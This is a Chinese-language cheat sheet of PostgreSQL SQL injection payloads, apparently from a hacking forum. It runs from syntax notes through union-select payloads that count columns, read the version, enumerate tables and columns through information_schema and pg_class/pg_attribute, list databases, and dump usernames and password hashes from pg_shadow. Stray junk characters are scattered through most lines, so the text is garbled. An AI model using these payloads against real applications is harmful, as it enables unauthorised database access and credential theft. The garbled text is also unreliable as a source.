结合了MSSQL MySQL Oracle的一些特点" X: x( G' p; P0 V" m4 v
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
# s9 j3 B# F+ s" K$ v% F连接符: %20 , + , /**/ 内置函数:2 x& L) R# P0 ]8 d, R+ K
current_database() //当前数据库名- e8 X, Y* k) r7 I8 Y2 k
session_user //会话用户 s8 T. b, O$ b- ~" j
current_user //当前数据库用户% {7 r* B% W# ~# ?3 l* z
user //当前用户
# F5 c3 N2 a4 ?1 ~6 ]8 d( t% Oversion() //数据库版本 Union注射:5 W& g- }7 c) }. @3 b% o6 w! @+ `
order by n–# s0 R9 V0 X9 }/ m; N* s9 n' ~) \
and 1=2 union select null,null,null–
/ _' A0 N% U1 dand 1=2 union select ‘beach’,null,null–
3 ^. T' E/ p' _+ N, o, land 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
4 G& m3 _( h H0 Tgroup_concat(table_name)5 S* i" P' W$ L1 \
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
6 o0 E( W0 ^2 o/ G$ w( D5 b# a, eand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–9 Q. `) g# o4 h& D5 y) K: ^0 M
(老版本)& M5 Q" n4 t& o6 B
pg_class.oid对应pg_attribute.attrelid
+ L/ ?, i7 y: y" M8 R$ Epg_class.relname表名
! a3 {( D. f& w, Z8 V9 Q* S" }pg_attribute.attname字段名 select relname from pg_class获取表名
: r2 J* `1 A$ o# |% Bselect oid from pg_class where 条件 获取参数
w8 I7 b8 Y; o# A8 Gselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
& I+ N6 J; Y5 y& A+ Band 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
- [ ^5 x5 w+ R' p, ?and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
) n f( H7 B O# A' b7 `6 F由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
/ U8 y( }" V! ?6 |======================================================================5 X" B% _/ r) C; S0 l" }
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
$ O0 @8 h/ U8 p/ j7 c8 zand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |